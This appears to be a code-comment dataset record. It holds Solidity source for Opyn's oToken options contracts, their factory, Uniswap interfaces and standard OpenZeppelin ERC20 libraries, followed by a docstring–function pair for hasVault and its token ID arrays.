ethToTransfer = msg.value;
amount = exchange.getTokenToEthOutputPrice(ethToTransfer);
}
emit BuyOTokens(
msg.sender,
_transferTo,
address(oToken),
address(paymentToken),
amount,
ethToTransfer
);
return
exchange.ethToTokenTransferOutput.value(ethToTransfer)(
amount,
LARGE_BLOCK_SIZE,
_transferTo
);
}
}
function getExchange(address _token)
internal
view
returns (UniswapExchangeInterface)
{
UniswapExchangeInterface exchange = UniswapExchangeInterface(
uniswapFactory.getExchange(_token)
);
if (address(exchange) == address(0)) {
revert("No payout exchange");
}
return exchange;
}
function isETH(IERC20 _ierc20) internal pure returns (bool) {
return _ierc20 == IERC20(0);
}
function() external payable {
// to get ether from uniswap exchanges
}
}
pragma solidity 0.5.10;
import "./oToken.sol";
import "./lib/StringComparator.sol";
import "./packages/Ownable.sol";
import "./packages/IERC20.sol";
contract OptionsFactory is Ownable {
using StringComparator for string;
mapping(address => bool) public whitelisted;
address[] public optionsContracts;
// The contract which interfaces with the exchange
OptionsExchange public optionsExchange;
address public oracleAddress;
event OptionsContractCreated(address addr);
event AssetWhitelisted(address indexed asset);
/**
* @param _optionsExchangeAddr: The contract which interfaces with the exchange
* @param _oracleAddress Address of the oracle
*/
constructor(OptionsExchange _optionsExchangeAddr, address _oracleAddress)
public
{
optionsExchange = OptionsExchange(_optionsExchangeAddr);
oracleAddress = _oracleAddress;
}
/**
* @notice creates a new Option Contract
* @param _collateral The collateral asset. Eg. "ETH"
* @param _underlying The underlying asset. Eg. "DAI"
* @param _oTokenExchangeExp Units of underlying that 1 oToken protects
* @param _strikePrice The amount of strike asset that will be paid out
* @param _strikeExp The precision of the strike Price
* @param _strike The asset in which the insurance is calculated
* @param _expiry The time at which the insurance expires
* @param _windowSize UNIX time. Exercise window is from `expiry - _windowSize` to `expiry`.
* @dev this condition must hold for the oToken to be safe: abs(oTokenExchangeExp - underlyingExp) < 19
* @dev this condition must hold for the oToken to be safe: max(abs(strikeExp + liqIncentiveExp - collateralExp), abs(strikeExp - collateralExp)) <= 9
*/
function createOptionsContract(
address _collateral,
address _underlying,
address _strike,
int32 _oTokenExchangeExp,
uint256 _strikePrice,
int32 _strikeExp,
uint256 _expiry,
uint256 _windowSize,
string calldata _name,
string calldata _symbol
) external returns (address) {
require(whitelisted[_collateral], "Collateral not whitelisted.");
require(whitelisted[_underlying], "Underlying not whitelisted.");
require(whitelisted[_strike], "Strike not whitelisted.");
require(_expiry > block.timestamp, "Cannot create an expired option");
require(_windowSize <= _expiry, "Invalid _windowSize");
oToken otoken = new oToken(
_collateral,
_underlying,
_strike,
_oTokenExchangeExp,
_strikePrice,
_strikeExp,
_expiry,
_windowSize,
optionsExchange,
oracleAddress
);
otoken.setDetails(_name, _symbol);
optionsContracts.push(address(otoken));
emit OptionsContractCreated(address(otoken));
// Set the owner for the options contract to the person who created the options contract
otoken.transferOwnership(msg.sender);
return address(otoken);
}
/**
* @notice The number of Option Contracts that the Factory contract has stored
*/
function getNumberOfOptionsContracts() external view returns (uint256) {
return optionsContracts.length;
}
/**
* @notice The owner of the Factory Contract can update an asset's address, by adding it, changing the address or removing the asset
* @param _asset The address for the asset
*/
function whitelistAsset(address _asset) external onlyOwner {
whitelisted[_asset] = true;
emit AssetWhitelisted(_asset);
}
}
pragma solidity ^0.5.10;
// AT MAINNET ADDRESS: 0x9B8Eb8b3d6e2e0Db36F41455185FEF7049a35CaE
import "../packages/ERC20.sol";
interface CompoundOracleInterface {
function getUnderlyingPrice(address cToken) external view returns (uint256);
function price(string calldata symbol) external view returns (uint256);
}
pragma solidity ^0.5.10;
interface OracleInterface {
function getPrice(address asset) external view returns (uint256);
function getBTCPrice() external view returns (uint256);
function getETHPrice() external view returns (uint256);
}
pragma solidity 0.5.10;
/* solhint-disable */
// Solidity Interface
contract UniswapExchangeInterface {
// Address of ERC20 token sold on this exchange
function tokenAddress() external view returns (address token);
// Address of Uniswap Factory
function factoryAddress() external view returns (address factory);
// Provide Liquidity
function addLiquidity(
uint256 min_liquidity,
uint256 max_tokens,
uint256 deadline
) external payable returns (uint256);
function removeLiquidity(
uint256 amount,
uint256 min_eth,
uint256 min_tokens,
uint256 deadline
) external returns (uint256, uint256);
// Get Prices
function getEthToTokenInputPrice(uint256 eth_sold)
external
view
returns (uint256 tokens_bought);
function getEthToTokenOutputPrice(uint256 tokens_bought)
external
view
returns (uint256 eth_sold);
function getTokenToEthInputPrice(uint256 tokens_sold)
external
view
returns (uint256 eth_bought);
function getTokenToEthOutputPrice(uint256 eth_bought)
external
view
returns (uint256 tokens_sold);
// Trade ETH to ERC20
function ethToTokenSwapInput(uint256 min_tokens, uint256 deadline)
external
payable
returns (uint256 tokens_bought);
function ethToTokenTransferInput(
uint256 min_tokens,
uint256 deadline,
address recipient
) external payable returns (uint256 tokens_bought);
function ethToTokenSwapOutput(uint256 tokens_bought, uint256 deadline)
external
payable
returns (uint256 eth_sold);
function ethToTokenTransferOutput(
uint256 tokens_bought,
uint256 deadline,
address recipient
) external payable returns (uint256 eth_sold);
// Trade ERC20 to ETH
function tokenToEthSwapInput(
uint256 tokens_sold,
uint256 min_eth,
uint256 deadline
) external returns (uint256 eth_bought);
function tokenToEthTransferInput(
uint256 tokens_sold,
uint256 min_eth,
uint256 deadline,
address recipient
) external returns (uint256 eth_bought);
function tokenToEthSwapOutput(
uint256 eth_bought,
uint256 max_tokens,
uint256 deadline
) external returns (uint256 tokens_sold);
function tokenToEthTransferOutput(
uint256 eth_bought,
uint256 max_tokens,
uint256 deadline,
address recipient
) external returns (uint256 tokens_sold);
// Trade ERC20 to ERC20
function tokenToTokenSwapInput(
uint256 tokens_sold,
uint256 min_tokens_bought,
uint256 min_eth_bought,
uint256 deadline,
address token_addr
) external returns (uint256 tokens_bought);
function tokenToTokenTransferInput(
uint256 tokens_sold,
uint256 min_tokens_bought,
uint256 min_eth_bought,
uint256 deadline,
address recipient,
address token_addr
) external returns (uint256 tokens_bought);
function tokenToTokenSwapOutput(
uint256 tokens_bought,
uint256 max_tokens_sold,
uint256 max_eth_sold,
uint256 deadline,
address token_addr
) external returns (uint256 tokens_sold);
function tokenToTokenTransferOutput(
uint256 tokens_bought,
uint256 max_tokens_sold,
uint256 max_eth_sold,
uint256 deadline,
address recipient,
address token_addr
) external returns (uint256 tokens_sold);
// Trade ERC20 to Custom Pool
function tokenToExchangeSwapInput(
uint256 tokens_sold,
uint256 min_tokens_bought,
uint256 min_eth_bought,
uint256 deadline,
address exchange_addr
) external returns (uint256 tokens_bought);
function tokenToExchangeTransferInput(
uint256 tokens_sold,
uint256 min_tokens_bought,
uint256 min_eth_bought,
uint256 deadline,
address recipient,
address exchange_addr
) external returns (uint256 tokens_bought);
function tokenToExchangeSwapOutput(
uint256 tokens_bought,
uint256 max_tokens_sold,
uint256 max_eth_sold,
uint256 deadline,
address exchange_addr
) external returns (uint256 tokens_sold);
function tokenToExchangeTransferOutput(
uint256 tokens_bought,
uint256 max_tokens_sold,
uint256 max_eth_sold,
uint256 deadline,
address recipient,
address exchange_addr
) external returns (uint256 tokens_sold);
// ERC20 comaptibility for liquidity tokens
bytes32 public name;
bytes32 public symbol;
uint256 public decimals;
function transfer(address _to, uint256 _value) external returns (bool);
function transferFrom(
address _from,
address _to,
uint256 value
) external returns (bool);
function approve(address _spender, uint256 _value) external returns (bool);
function allowance(address _owner, address _spender)
external
view
returns (uint256);
function balanceOf(address _owner) external view returns (uint256);
function totalSupply() external view returns (uint256);
// Never use
function setup(address token_addr) external;
}
pragma solidity 0.5.10;
// Solidity Interface
contract UniswapFactoryInterface {
// Public Variables
address public exchangeTemplate;
uint256 public tokenCount;
// // Create Exchange
function createExchange(address token) external returns (address exchange);
// Get Exchange and Token Info
function getExchange(address token)
external
view
returns (address exchange);
function getToken(address exchange) external view returns (address token);
function getTokenWithId(uint256 tokenId)
external
view
returns (address token);
// Never use
function initializeFactory(address template) external;
// function createExchange(address token) external returns (address exchange) {
// return 0x06D014475F84Bb45b9cdeD1Cf3A1b8FE3FbAf128;
// }
// // Get Exchange and Token Info
// function getExchange(address token) external view returns (address exchange){
// return 0x06D014475F84Bb45b9cdeD1Cf3A1b8FE3FbAf128;
// }
// function getToken(address exchange) external view returns (address token) {
// return 0x06D014475F84Bb45b9cdeD1Cf3A1b8FE3FbAf128;
// }
// function getTokenWithId(uint256 tokenId) external view returns (address token) {
// return 0x06D014475F84Bb45b9cdeD1Cf3A1b8FE3FbAf128;
// }
}
pragma solidity 0.5.10;
library StringComparator {
function compareStrings (string memory a, string memory b) public pure
returns (bool) {
return keccak256(abi.encodePacked((a))) == keccak256(abi.encodePacked((b)));
}
}
pragma solidity 0.5.10;
import "./OptionsContract.sol";
import "./OptionsExchange.sol";
/**
* @title Opyn's Options Contract
* @author Opyn
*/
contract oToken is OptionsContract {
OptionsExchange public optionsExchange;
/**
* @param _collateral The collateral asset
* @param _underlying The asset that is being protected
* @param _oTokenExchangeExp The precision of the `amount of underlying` that 1 oToken protects
* @param _strikePrice The amount of strike asset that will be paid out
* @param _strikeExp The precision of the strike asset (-18 if ETH)
* @param _strike The asset in which the insurance is calculated
* @param _expiry The time at which the insurance expires
* @param _optionsExchange The contract which interfaces with the exchange + oracle
* @param _oracleAddress The address of the oracle
* @param _windowSize UNIX time. Exercise window is from `expiry - _windowSize` to `expiry`.
*/
constructor(
address _collateral,
address _underlying,
address _strike,
int32 _oTokenExchangeExp,
uint256 _strikePrice,
int32 _strikeExp,
uint256 _expiry,
uint256 _windowSize,
OptionsExchange _optionsExchange,
address _oracleAddress
)
public
OptionsContract(
_collateral,
_underlying,
_strike,
_oTokenExchangeExp,
_strikePrice,
_strikeExp,
_expiry,
_windowSize,
_oracleAddress
)
{
optionsExchange = _optionsExchange;
}
/**
* @notice opens a Vault, adds ETH collateral, and mints new oTokens in one step
* Remember that creating oTokens can put the owner at a risk of losing the collateral
* if an exercise event happens.
* The sell function provides the owner a chance to earn premiums.
* Ensure that you create and immediately sell oTokens atmoically.
* @param amtToCreate number of oTokens to create
* @param receiver address to send the Options to
*/
function createETHCollateralOption(uint256 amtToCreate, address receiver)
external
payable
{
openVault();
addETHCollateralOption(amtToCreate, receiver);
}
/**
* @notice adds ETH collateral, and mints new oTokens in one step to an existing Vault
* Remember that creating oTokens can put the owner at a risk of losing the collateral
* if an exercise event happens.
* The sell function provides the owner a chance to earn premiums.
* Ensure that you create and immediately sell oTokens atmoically.
* @param amtToCreate number of oTokens to create
* @param receiver address to send the Options to
*/
function addETHCollateralOption(uint256 amtToCreate, address receiver)
public
payable
{
addETHCollateral(msg.sender);
issueOTokens(amtToCreate, receiver);
}
/**
* @notice opens a Vault, adds ETH collateral, mints new oTokens and sell in one step
* @param amtToCreate number of oTokens to create
* @param receiver address to receive the premiums
*/
function createAndSellETHCollateralOption(
uint256 amtToCreate,
address payable receiver
) external payable {
openVault();
addETHCollateralOption(amtToCreate, address(this));
this.approve(address(optionsExchange), amtToCreate);
optionsExchange.sellOTokens(
receiver,
address(this),
address(0),
amtToCreate
);
}
/**
* @notice adds ETH collateral to an existing Vault, and mints new oTokens and sells the oTokens in one step
* @param amtToCreate number of oTokens to create
* @param receiver address to send the Options to
*/
function addAndSellETHCollateralOption(
uint256 amtToCreate,
address payable receiver
) external payable {
addETHCollateral(msg.sender);
issueOTokens(amtToCreate, address(this));
this.approve(address(optionsExchange), amtToCreate);
optionsExchange.sellOTokens(
receiver,
address(this),
address(0),
amtToCreate
);
}
/**
* @notice opens a Vault, adds ERC20 collateral, and mints new oTokens in one step
* Remember that creating oTokens can put the owner at a risk of losing the collateral
* if an exercise event happens.
* The sell function provides the owner a chance to earn premiums.
* Ensure that you create and immediately sell oTokens atmoically.
* @param amtToCreate number of oTokens to create
* @param amtCollateral amount of collateral added
* @param receiver address to send the Options to
*/
function createERC20CollateralOption(
uint256 amtToCreate,
uint256 amtCollateral,
address receiver
) external {
openVault();
addERC20CollateralOption(amtToCreate, amtCollateral, receiver);
}
/**
* @notice adds ERC20 collateral, and mints new oTokens in one step
* Remember that creating oTokens can put the owner at a risk of losing the collateral
* if an exercise event happens.
* The sell function provides the owner a chance to earn premiums.
* Ensure that you create and immediately sell oTokens atmoically.
* @param amtToCreate number of oTokens to create
* @param amtCollateral amount of collateral added
* @param receiver address to send the Options to
*/
function addERC20CollateralOption(
uint256 amtToCreate,
uint256 amtCollateral,
address receiver
) public {
addERC20Collateral(msg.sender, amtCollateral);
issueOTokens(amtToCreate, receiver);
}
/**
* @notice opens a Vault, adds ERC20 collateral, mints new oTokens and sells the oTokens in one step
* @param amtToCreate number of oTokens to create
* @param amtCollateral amount of collateral added
* @param receiver address to send the Options to
*/
function createAndSellERC20CollateralOption(
uint256 amtToCreate,
uint256 amtCollateral,
address payable receiver
) external {
openVault();
addERC20CollateralOption(amtToCreate, amtCollateral, address(this));
this.approve(address(optionsExchange), amtToCreate);
optionsExchange.sellOTokens(
receiver,
address(this),
address(0),
amtToCreate
);
}
/**
* @notice adds ERC20 collateral, mints new oTokens and sells the oTokens in one step
* @param amtToCreate number of oTokens to create
* @param amtCollateral amount of collateral added
* @param receiver address to send the Options to
*/
function addAndSellERC20CollateralOption(
uint256 amtToCreate,
uint256 amtCollateral,
address payable receiver
) external {
addERC20Collateral(msg.sender, amtCollateral);
issueOTokens(amtToCreate, address(this));
this.approve(address(optionsExchange), amtToCreate);
optionsExchange.sellOTokens(
receiver,
address(this),
address(0),
amtToCreate
);
}
}
pragma solidity ^0.5.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
pragma solidity ^0.5.0;
import "./Context.sol";
import "./IERC20.sol";
import "./SafeMath.sol";
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20Mintable}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender)
public
view
returns (uint256)
{
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for `sender`'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue)
public
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].add(addedValue)
);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue)
public
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].sub(
subtractedValue,
"ERC20: decreased allowance below zero"
)
);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(
amount,
"ERC20: transfer amount exceeds balance"
);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(
amount,
"ERC20: burn amount exceeds balance"
);
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Destroys `amount` tokens from `account`.`amount` is then deducted
* from the caller's allowance.
*
* See {_burn} and {_approve}.
*/
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(
account,
_msgSender(),
_allowances[account][_msgSender()].sub(
amount,
"ERC20: burn amount exceeds allowance"
)
);
}
}
pragma solidity ^0.5.0;
import "./IERC20.sol";
/**
* @dev Optional functions from the ERC20 standard.
*/
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for `name`, `symbol`, and `decimals`. All three of
* these values are immutable: they can only be set once during
* construction.
*/
constructor(
string memory name,
string memory symbol,
uint8 decimals
) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
}
pragma solidity ^0.5.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount)
external
returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender)
external
view
returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
pragma solidity ^0.5.0;
import "./Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() internal {
_owner = _msgSender();
emit OwnershipTransferred(address(0), _owner);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Returns true if the caller is the current owner.
*/
function isOwner() public view returns (bool) {
return _msgSender() == _owner;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
*/
function _transferOwnership(address newOwner) internal {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
pragma solidity ^0.5.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
|
* @notice Checks if a `owner` has already created a Vault @param _owner The address of the supposed owner @return true or false/
|
function hasVault(address payable _owner) public view returns (bool) {
return vaults[_owner].owned;
}
| 10,156,818 |
[
1,
4081,
309,
279,
1375,
8443,
68,
711,
1818,
2522,
279,
17329,
225,
389,
8443,
1021,
1758,
434,
326,
18405,
3410,
327,
638,
578,
629,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
